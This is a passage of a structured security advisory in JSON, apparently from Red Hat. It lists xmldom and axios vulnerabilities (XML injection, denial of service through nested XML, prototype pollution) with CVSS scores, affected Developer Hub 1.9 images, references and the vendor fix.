"url": "https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1",
"url": "https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/pull/987",
"url": "https://github.com/xmldom/xmldom/pull/987"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/security/advisories/GHSA-j759-j44w-7fr8",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-j759-j44w-7fr8"
}
],
"release_date": "2026-05-07T03:36:16.914000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "xmldom: @xmldom/xmldom: xmldom: Arbitrary XML Node Injection"
},
{
"cve": "CVE-2026-41673",
"cwe": {
"id": "CWE-776",
"name": "Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)"
},
"discovery_date": "2026-05-07T05:02:01.500444+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467630"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the `xmldom` library, a JavaScript module for parsing XML documents. An attacker could exploit this vulnerability by providing a specially crafted, deeply nested XML document. This could lead to a Denial of Service (DoS) by causing the application to crash due to excessive recursion.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "@xmldom/xmldom: xmldom: xmldom: Denial of Service via deeply nested XML documents",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in the `xmldom` library, which can lead to application crashes. The flaw occurs when processing specially crafted, deeply nested XML documents, causing excessive recursion and exhausting system resources. This can impact the availability of Red Hat products that utilize `xmldom` to parse untrusted XML input, as it does not require authentication or complex preconditions for exploitation.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41673"
},
{
"category": "external",
"summary": "RHBZ#2467630",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467630"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41673"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41673",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41673"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa",
"url": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597",
"url": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f",
"url": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a",
"url": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe",
"url": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3",
"url": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112",
"url": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb",
"url": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84",
"url": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw"
}
],
"release_date": "2026-05-07T03:40:28.378000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "@xmldom/xmldom: xmldom: xmldom: Denial of Service via deeply nested XML documents"
},
{
"cve": "CVE-2026-41674",
"cwe": {
"id": "CWE-91",
"name": "XML Injection (aka Blind XPath Injection)"
},
"discovery_date": "2026-05-07T05:01:25.803044+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467620"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in xmldom and @xmldom/xmldom, a JavaScript library for parsing and serializing XML. This vulnerability allows an attacker to inject arbitrary XML markup into a document due to improper handling of DocumentType node fields during serialization. By crafting malicious input, an attacker can cause the XML serializer to prematurely terminate the DOCTYPE declaration, enabling the insertion of unauthorized content. This could lead to information disclosure or, in certain configurations, the execution of arbitrary code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "xmldom: xmldom: Arbitrary XML markup injection",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41674"
},
{
"category": "external",
"summary": "RHBZ#2467620",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467620"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41674"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41674",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41674"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314",
"url": "https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h"
}
],
"release_date": "2026-05-07T03:47:51.140000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "xmldom: xmldom: Arbitrary XML markup injection"
},
{
"cve": "CVE-2026-41675",
"cwe": {
"id": "CWE-91",
"name": "XML Injection (aka Blind XPath Injection)"
},
"discovery_date": "2026-05-07T05:01:58.399809+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467629"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in xmldom. A remote attacker can exploit this vulnerability by providing specially crafted processing instruction data. Due to improper validation of the processing instruction closing sequence, the attacker can terminate the instruction prematurely and inject arbitrary XML nodes into the serialized output. This can lead to data manipulation and integrity issues within applications that process the affected XML.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "xmldom: xmldom: Arbitrary XML node injection via crafted processing instructions",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in xmldom allows a remote attacker to inject arbitrary XML nodes into serialized output. This occurs due to insufficient validation of processing instruction data, enabling premature termination of instructions and subsequent data manipulation within applications that process affected XML. Red Hat products utilizing xmldom for XML processing may be susceptible if they handle untrusted XML input.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41675"
},
{
"category": "external",
"summary": "RHBZ#2467629",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467629"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41675",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41675"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41675",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41675"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2",
"url": "https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx"
}
],
"release_date": "2026-05-07T03:49:34.056000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "xmldom: xmldom: Arbitrary XML node injection via crafted processing instructions"
},
{
"cve": "CVE-2026-42033",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:20.937507+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461607"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "RHBZ#2461607",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461607"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
}
],
"release_date": "2026-04-24T17:36:44.132000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution"
},
{
"cve": "CVE-2026-42035",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:17.109481+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461606"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application\u0027s core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Arbitrary HTTP header injection via prototype pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "RHBZ#2461606",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461606"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
}
],
